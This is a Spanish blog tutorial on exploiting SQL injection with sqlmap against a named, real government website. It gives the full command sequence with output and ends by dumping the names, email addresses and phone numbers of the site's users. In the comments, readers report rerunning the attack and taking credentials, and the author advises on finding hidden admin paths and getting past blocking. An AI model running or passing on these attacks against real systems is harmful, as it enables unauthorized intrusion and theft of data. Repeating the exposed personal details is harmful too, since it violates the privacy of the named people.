miércoles, 20 de junio de 2012

Explotando Vulnerabilidades de Inyección SQL desde SQLMAP

Hola, en la entrada anterior explique como explotar Inyección SQL manualmente, entonces hoy escribiré como explotar las vulnerabilidades de Inyección SQL desde la herramienta SQLMAP, solo explicare las funciones básicas de esta herramienta para obtener algunas base de datos de los sitios webs vulnerables.

¿Que es SQLMAP?

Sqlmap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar  su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.

Características

  • Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede identificar Microsoft Access, DB2, Informix, Sybase y Interbase.
  • Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de comparación y características específicas tales como MySQL comment injection. También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben.
  • Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection.

Comandos Básicos:
-u 
-D
-T
-C
--tables
--columns
--dump

Ubicación en BackTrack 5r2:
Aplicaciones - BackTrack - Exploitation Tools - Web Exploitation Tools - SqlMap

Teniendo la herramienta lista para su uso, buscaremos una web vulnerable, en este caso yo usare la siguiente:

http://www.fonep.gob.ve/noticias.php?id=195'
SQL/DB Error -- [

    Could not execute query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''195'' AND c.publicado_contenido != 0' at line 13

Como vemos la web es vulnerable a Inyeccion SQL, entonces nos dirigimos a la herramienta para explotar dicha vulnerabilidad.

El primer comando que tenemos que colocar para obtener la base de datos sera esta:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 --dbs

La herramienta auditara el sitio y comprobara si es vulnerable, entonces si la herramienta comprueba que el sitio es vulnerable, automáticamente nos arrojara la base de datos, en este caso me la arrojo:

available databases [2]:
[*] information_schema
[*] penof_cms

Bien, teniendo ya la base de datos, la que nos interesaría en este caso seria penof_cms, entonces para obtener las tablas de dicha db, colocaremos el siguiente comando:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms --tables

Entonces de inmediato la herramienta nos arrojara las tablas de la db que hemos solicitado:

Database: penof_cms
[20 tables]
+-------------------+
| fonep_cargos      |
| fonep_ciudades    |
| fonep_contacto    |
| fonep_contenido   |
| fonep_contratista |
| fonep_documentos  |
| fonep_ds          |
| fonep_empleo      |
| fonep_enlaces     |
| fonep_errores     |
| fonep_estados     |
| fonep_extras      |
| fonep_log         |
| fonep_media       |
| fonep_rextras     |
| fonep_rsecciones  |
| fonep_rtagcloud   |
| fonep_secciones   |
| fonep_tagcloud    |
| fonep_usuarios    |
+-------------------+

Bien, ahora como a nosotros en toda inyección sql, nos interesa la tabla usuarios, colocaremos el siguiente comando para ver sus columnas:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms -T fonep_usuarios --columns

La cual la herramienta nos arroja todas las columnas de la tabla usuarios:

Database: penof_cms
Table: fonep_usuarios
[9 columns]
+-----------------------+-----------------+
| Column                | Type            |
+-----------------------+-----------------+
| apellido_usuarios     | varchar(45)     |
| clave_usuarios        | varchar(40)     |
| email_usuarios        | varchar(255)    |
| id_usuarios           | int(2) unsigned |
| institucion_usuarios  | varchar(45)     |
| nombre_usuarios       | varchar(45)     |
| permisos_usuarios     | tinyint(4)      |
| telf_usuarios         | int(11)         |
| ultimoacceso_usuarios | datetime        |
+-----------------------+-----------------+

Si queres todo el contenido de dicha columna, en este caso fonep_usuarios, solo colocaremos este comando:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms -T fonep_usuarios --dump

Entonces la herramienta dumpeara todo el contenido.

En este caso yo solo necesito las columnas apellido_usuarios, email_usuarios, nombre_usuarios, telf_usuarios, la cual colocaremos el siguiente comando:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms -T fonep_usuarios -C "apellido_usuarios,email_usuarios,nombre_usuarios,telf_usuarios" --dump

Database: penof_cms
Table: fonep_usuarios
[3 entries]
+-------------------+----------------------------+-----------------+---------------+
| apellido_usuarios | email_usuarios             | nombre_usuarios | telf_usuarios |
+-------------------+----------------------------+-----------------+---------------+
| Olivo             | ernesto.olivo@ingenian.net | Ernesto         | 8886591       |
| Gimenez           | lugimenez@cantv.net        | Luis            | 2122112323    |
| Gonzalez Aviles   | serser2020@gmail.com       | Sergio          | 2147483647    |
+-------------------+----------------------------+-----------------+---------------+

Entonces, con ese comando obtendremos los datos específicos de dicha base de datos.

¿No entendiste?

No te preocupes, te dejare un video de esta inyeccion:

Descargar SqlMap para Windows & Linux:

Saludos...

6 comentarios:

  1. He realizado el mismo proceso con la misma web del gobierno y despúes de conseguir nombres de usuarios y contraseñas me preguntaba donde encontrar el panel del admin.

    He utilizado un script en python pero no se si es que lo encuentra o esta web no tiene.

    En todo caso, ¿como podría entrar en el server sin panel o no es posible?

    ResponderEliminar
    Respuestas
    1. Hola, en este caso podes utilizar el DirBuster que esta en el Blog, la cual podes encontrar archivos y ficheros ocultos en el sitio web.

      Eliminar
  2. Caleb Bucker como hacer la inyeccion si la web bloquea las peticiones de SQLmap???

    ResponderEliminar
    Respuestas
    1. Hola,

      Podes explotarlo manualmente, dependiendo del tipo de vulnerabilidad y proteccion que contenga el sitio.

      Saludos.

      Eliminar
  3. hola tengo en vista un sitio pero tiene proxy y pero es inyectable, pero no puedo escanearlo con sqlmap por que me dice que esta detras de un proxy. Por fa si me pueden orientar
    Gracias

    ResponderEliminar